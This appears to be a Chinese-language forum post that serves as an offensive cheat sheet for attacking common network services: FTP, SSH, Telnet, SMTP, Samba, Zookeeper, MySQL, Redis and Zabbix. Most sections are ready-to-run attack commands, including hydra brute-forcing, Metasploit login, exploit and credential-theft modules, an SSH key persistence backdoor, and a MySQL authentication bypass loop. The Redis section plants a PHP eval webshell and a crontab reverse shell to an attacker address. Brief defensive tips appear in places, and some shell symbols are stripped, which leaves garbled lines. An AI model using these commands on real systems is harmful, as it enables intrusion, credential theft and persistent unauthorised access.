標題:常見服務類漏洞

taibeihacker

Moderator

常见服务类漏洞​

FTP 漏洞​

FTP 协议介绍​

FTP(File Transfer Protocol,文件傳輸協議)是TCP/IP 協議組中的協議之一。 FTP 協議包括兩個組成部分,其一為FTP 服務器,其二為FTP 客戶端。其中FTP 服務器用來存儲文件,用戶可以使用FTP 客戶端通過FTP 協議訪問位於FTP 服務器上的資源。在開發網站的時候,通常利用FTP 協議把網頁或程序傳到Web 服務器上。此外,由於FTP 傳輸效率非常高,在網絡上傳輸大的文件時,一般也採用該協議。
默認情況下FTP 協議使用TCP 端口中的20 和21 這兩個端口,其中20 用於傳輸數據,21 用於傳輸控制信息。但是,是否使用20 作為傳輸數據的端口與FTP 使用的傳輸模式有關,如果採用主動模式,那麼數據傳輸端口就是20;如果採用被動模式,則具體最終使用哪個端口要服務器端和客戶端協商決定。

Banner 信息​

Banner 信息暴露遠程系統上運行的任何軟件或服務的漏洞,因此在安裝任何服務後需要隱藏其軟件版本。

匿名登录 anonymous login​

msf​

1
scanner/ftp/anonymous 模塊

中间人嗅探​

攻擊者可以利用嗅探工具來幫助他們嗅探網絡中服務器和客戶端之間傳輸的數據包並檢索憑據,這被稱為嗅探,然後將其用於未經授權的訪問。如上所述,FTP用戶可以使用用於用戶名和密碼的明文登錄協議對自己進行身份驗證。

FTP 暴力破解工具​

hydra​

1
hydra -v -L user.txt -P pass.txt ftp://ip

MSF​

1
auxiliary/scanner/ftp/ftp_login

vsftpd 笑脸漏洞​

版本:vsftp 2.3.4
後門:
用戶名中包含:) 就可以啟用綁定在6200 端口的後門shell
20200509155756.png-water_print

防御​

修改配置上的banner信息
加ssl 證書(SSL_Enable=YES)
白名單限制登錄
iptables 設置登錄次數與登錄線程

SSH 漏洞​

SSH 简介​

SSH 為Secure Shell 的縮寫,由IETF 的網絡小組(Network Working Group)所製定;SSH 為建立在應用層基礎上的安全協議。 SSH 是較可靠,專為遠程登錄會話和其他網絡服務提供安全性的協議。利用SSH 協議可以有效防止遠程管理過程中的信息洩露問題。 SSH 最初是UNIX系統上的一個程序,後來又迅速擴展到其他操作平台。 SSH 在正確使用時可彌補網絡中的漏洞。 SSH客戶端適用於多種平台。幾乎所有UNIX 平台—包括HP-UX、Linux、AIX、Solaris、Digital UNIX、Irix,以及其他平台,都可運行SSH。

端口扫描​

nmap​

1
nmap -sV -p 22 IP

msf​

1
auxiliary/scanner/ssh/ssh_version

密码破解​

msf​

1
2
use auxiliary/scanner/ssh/ssh_login
set stop_on_success true

SSH 用户代码执行​

msf​

1
use exploit/multi/ssh/sshexec

使用 RSA 密钥建立 SSH 连接​

配置:
1
2
3
4
5
6
7
8
ssh-keygen
cd /home/kali/.ssh
ls
cat id_rsa.pub authorized_keys
scp msfadmin@ip:/home/msfadmin/.ssh/id_rsa ./
sudo vim /etc/ssh/sshd_config
PasswordAuthentication no
sudo /etc/init.d/ssh restart
連接:
1
ssh -i id_rsa username@ip

窃取 SSH 密钥​

已獲得meterpreter 會話,竊取SSH 密鑰
1
2
3
4
use auxiliary/scanner/ssh/ssh_login 獲取會話
use post/multi/gather/ssh_creds
set session 1
run

SSH 密钥持久性后门​

已獲得meterpreter 會話,留下SSH 密鑰持久性後門
1
2
3
4
use auxiliary/scanner/ssh/ssh_login 獲取會話
use post/linux/manager/sshkey_persistence
set session 1
run

防御​

修改默认端口​

1
2
3
sudo vim /etc/ssh/sshd_config
port 22222
sudo /etc/init.d/ssh restart

Telnet 漏洞​

telnet 简介​

Telnet 協議是TCP/IP 協議族中的一員,是Internet 遠程登錄服務的標準協議和主要方式。它為用戶提供了在本地計算機上完成遠程主機工作的能力。在終端使用者的電腦上使用telnet 程序,用它連接到服務器。終端使用者可以在telnet 程序中輸入命令,這些命令會在服務器上運行,就像直接在服務器的控制台上輸入一樣。可以在本地就能控制服務器。要開始一個telnet 會話,必須輸入用戶名和密碼來登錄服務器。 Telnet 是常用的遠程控制Web 服務器的方法。

banner 信息​

/etc/issue.net
msf
use auxiliary/scanner/telnet/telnet_version

修改默认端口​

/etc/services
sudo /etc/init.d/xinetd restart

通过嗅探窃取凭据​

明文傳輸,可以嗅探
20200510144359.png-water_print

暴力破解​

hydra​

1
hydra -v -L user.txt -P pass.txt telnet://IP

msf​

1
2
3
4
5
6
use auxiliary/scanner/telnet/telnet_login
set rhost
set stop_on_success true
set user_file user.txt
set pass_file pass.txt
run

保护 telnet 免受暴力攻击​

將允許來自IP 地址192.168.1.1 的流量訪問端口23 上的telnet 服務
1
sudo iptables -A INPUT -s 192.168.1.1 -p tcp --dport 23 -j ACCEPT
drop 掉來自端口23 上其它IP 地址的流量
1
sudo iptables -A INPUT -p tcp --dport 23 -j DROP

SMTP 漏洞​

SMTP 简介​

SMTP 是一種提供可靠且有效的電子郵件傳輸的協議。 SMTP 是建立在FTP 文件傳輸服務上的一種郵件服務,主要用於系統之間的郵件信息傳遞,並提供有關來信的通知。 SMTP 獨立於特定的傳輸子系統,且只需要可靠有序的數據流信道支持,SMTP 的重要特性之一是其能跨越網絡傳輸郵件,即SMTP郵件中繼。使用SMTP,可實現相同網絡處理進程之間的郵件傳輸,也可通過中繼器或網關實現某處理進程與其他網絡之間的郵件傳輸。

SMTP 命令和返回码​

MAIL FROM
指定發件人地址
RCPT TO
指定單個的郵件接收人:可能有多個RCPT TO;常在MAIL FROM 命令之後
VRFY
用於指定用戶/郵箱是否存在;由於安全原因,服務器常禁止此命令
EXPN
驗證給定的郵箱列表是否存在,也常被禁用
返回碼
250:要求郵件操作完成
500:要求郵件操作未完成,郵箱不可用(例如,郵箱未找到,或不可訪問)

Postfix 简介​

postfix 是ubuntu 的默認郵件傳輸代理(MTA)

SMTP 用户枚举​

Ubuntu 系統用戶就是postfix 用戶
telnet
Smtp-user-enum
msf

手动枚举 SMTP 用户​

telnet
VERY ftp
20200510151810.png-water_print

MAIL FROM:ftp + RCPT TO:ftp
20200510152040.png-water_print

SMTP-user-enum​

1
2
3
4
5
apt-get install smtp-user-enum
smtp-user-enum -M VRFY -u root -t 202.38.xxx.xxx
smtp-user-enum -M VRFY -U dic.txt -t 202.38.xxx.xxx
smtp-user-enum -M RCPT -u bin -t 202.38.xxx.xxx
smtp-user-enum -M EXPN -u bin -t 202.38.xxx.xxx

msf​

1
auxiliary/scanner/smtp/smtp_enum

暴力破解​

hydra​

1
hydra -l msfadmin -P passwd.txt smtp://IP

Samba 漏洞​

Samba 简介​

Samba 是在Linux 和UNIX 系統上實現SMB 協議的一個免費軟件,由服務器及客戶端程序構成。

SMB 简介​

SMB(Server Messages Block,信息服務塊)是一種在局域網上共享文件和打印機的一種通信協議,它為局域網內的不同計算機之間提供文件及打印機等資源的共享服務。
SMB協議是客戶機/服務器型協議,客戶機通過該協議可以訪問服務器上的共享文件系統、打印機及其他資源。通過設置NetBIOS over TCP/IP 使得Samba 不但能與局域網絡主機分享資源,還能與全世界的電腦分享資源。

SMB 信息泄露​

msf​

1
auxiliary/scanner/smb/smb_version

nmap​

1
2
nmap -sV -p 445 IP
nmap -sV -v -p 445 --script=smb-vuln*

nmblookup​

nmblookup 用於查詢NetBIOS 名稱,並使用基於TCP/IP 的NetBIOS 查詢將它們映射到網絡中的IP 地址。這些選項允許將名稱查詢定向到特定的IP 廣播區域或特定的機器。所有查詢都通過UDP 完成。
nmblookup 是用於枚舉域/工作站和MAC 地址的有用命令
1
nmblookup -A 192.168.1.139

nbtscan​

掃描在本地或遠程TCP/IP 網絡上NetBIOS 打開的名稱服務器,因為這是查找打開共享的第一步
可以在整個子網中工作,而不是在單個IP 上工作
1
nbtscan 192.168.1.1/24

SMBMap​

SMBMap 允許用戶枚舉整個域中的samba 共享驅動器。列出共享驅動器,驅動器權限,共享內容,上載/下載功能,文件名自動下載模式匹配,甚至執行遠程命令。旨在簡化大型網絡中潛在敏感數據的搜索。
1
2
smbmap -H 192.168.1.139
smbmap -H 192.168.1.139 -u msfadmin -p msfadmin

暴力破解​

hydra​

1
hydra -L user.txt -P pass.txt -v smb://ip

命令执行​

1
2
search smb 3.0.20
use exploit/multi/samba/usermap_script

Zookeeper​

Zookeeper 简介​

Zookeeper 是一個分佈式服務框架,是Apache Hadoop 的一個子項目,它主要是用來解決分佈式應用中經常遇到的一些數據管理問題,如:統一命名服務、狀態同步服務、集群管理、分佈式應用配置項的管理等。

环境搭建​

1
2
3
4
wget https://mirrors.tuna.tsinghua.edu.cn/apache/zookeeper/zookeeper-3.4.14/zookeeper-3.4.14.tar.gz
tar -xzvf zookeeper-3.4.14.tar.gz
mv zoo_sample.cfg zoo.cfg
./zkServer.sh start

未授权访问​

Zookeeper 默認未設置密碼,在未進行任何訪問控制情況下,攻擊者可通過執行env 命令獲得系統大量的敏感信息,包括系統名稱、Java 環境。
Zookeeper 默認端口開啟在2181 端口
1
2
netstat -an | grep 2181
nmap -sV -p 2181 IP
1
nc IP 2181
envi
打印有關服務環境的詳細信息
stat
列出關於性能和連接客戶端的統計信息
ruok
測試服務器是否運行在非錯誤狀態
reqs
列出未完成的請求
dump
列出未完成的會話和臨時節點
圖形化界面工具:
ZooInspector

Mysql 漏洞​

Mysql 简介​

Mysql 數據庫是目前世界上使用最為廣泛的數據庫之一,很多著名公司和站點都使用Mysql 作為其數據庫支撐
目前很多架構都以Mysql 作為數據庫管理系統,例如LAMP、和WAMP 等

Mysql 信息收集​

版本信息​

1
2
3
4
nmap:
nmap -sV -p 3306 IP
msf:
use auxiliary/scanner/mysql/mysql_version

其它相关信息​

1
use auxiliary/admin/mysql/mysql_enum

Mysql 密码破解​

hydra​

1
hydra -L user.txt -P password.txt -v mysql://IP

msf​

1
use auxiliary/scanner/mysql/mysql_login

Mysql 漏洞利用​

MySQL 身份认证漏洞(CVE-2012-2122)​

memcmp() 的返回值都在[127,-128]之內,把兩個字符串逐個字符的比較,如果找到不一樣的,就把這兩個字符相減後返回
memcmp()返回0 的時候check_scramble() 認證通過
20200512142357.png-water_print

漏洞利用​

msf:
1
use auxiliary/scanner/mysql/mysql_authbypass_hashdump
Linux shell:
1
for i in `seq 1 1000`;do mysql -uroot -pwrong -h IP -P3306;done

Redis​

redis 简介​

Redis是大家常說的非關係型數據庫中的一種,是一個開源的使用ANSI 語言編寫、支持網絡可基於內存亦可持久化的日誌型、Key-Value 數據庫,並提供多種語言的API
Redis 與memcached 一樣,為了保證效率,數據都是緩存在內存中。但Redis 會周期性的把更新的數據寫入磁盤或者把修改操作寫入追加的記錄文件,並且在此基礎上實現了master-slave (主從)同步。

redis 未授权访问漏洞​

默認的配置是使用6379 端口,沒有密碼。這時候會導致未授權訪問讀寫Redis 數據。

在 web 目录下写入 Webshell​

1
2
3
4
config set dir /var/www/html
config set dbfilename webshell.php
set webshell '?php phpinfo();'
save
20200512150346.png-water_print

當數據庫過大時,redis 寫shell 的小技巧:
1
2
3
4
5
6
?php
set_time_limit(0);
$fp=fopen('webshell.php','w');
fwrite($fp,'?php @eval($_POST[1]);');
exit();
?

写 ssh 公钥​

1
2
3
4
5
6
7
ssh-keygen -t rsa
cd .ssh
(echo -e '\n\n'; cat id_rsa.pub; echo -e '\n\n') 1.txt
cat 1.txt | redis-cli -h ip -x set payload
config set dir /root/.ssh
config set dbfilename authorized_keys
save

写 crontab​

1
2
3
4
5
redis-cli -h 192.168.0.104
set xxx '\n\n*/1 * * * * /bin/bash -i/dev/tcp/192.168.0.104/4444 01\n\n'
config set dir /var/spool/cron
config set dbfilename root
save

利用 redis 主从复制 rce​

Zabbix 漏洞​

Zabbix 简介​

Zabbix 是由Alexei Vladishev 開發的一種網絡監視、管理系統,基於ServerClient 架構。可用於監視各種網絡服務、服務器和網絡機器等狀態。
使用各種Database-end 如:MySQL,PostgreSQL,SQLite,Oracle IBM DB2 儲存資料。 Server 端基於C 語言、Web管理端frontend 則是基於PHP 所製作的。 Zabbix 可以使用多種方式監視。可以只使用Simple Check 不需要安裝client 端,亦可基於SMTP 或HTTP 各種協定做死活監視。
在客戶端如UNIX, Windows 中安裝Zabbix Agent 之後,可監視CPU Load、網絡使用狀況、硬盤容量等各種狀態。而就算沒有安裝Agent 在監視對像中,Zabbix 也可以經由SNMP、TCP、IMP、利用PMI、SSH、 telnet 對目標進行監視。
另外, Zabbix 包含XMPP 等各種Item 警示功能

Zabbix SQL 注入漏洞​

Zabbix 命令执行利用​

管理員在安裝配置Zabbix 過程中,使用了弱口令或默認的用戶名與口令。如:Admin/zabbix,這樣,Zabbix服務器的用戶認證就形同虛設。攻擊者可以創建system.run[command,] 監控項執行命令,甚至獲取服務器shell,進行各種挖礦行為。

Elasticsearch 漏洞​

Elasticsearch 简介​

Elasticsearch 是一個分佈式、高擴展、高實時的搜索與數據分析引擎。它能很方便的使大量數據具有搜索、分析和探索的能力。充分利用Elasticsearch 的水平伸縮性,能使數據在生產環境變得更有價值。
Elasticsearch 的實現原理主要分為以下幾個步驟,首先用戶將數據提交到Elasticsearch 數據庫中,再通過分詞控制器去將對應的語句分詞,將其權重和分詞結果一併存入數據,當用戶搜索數據時候,再根據權重將結果排名,打分,再
 
返回
上方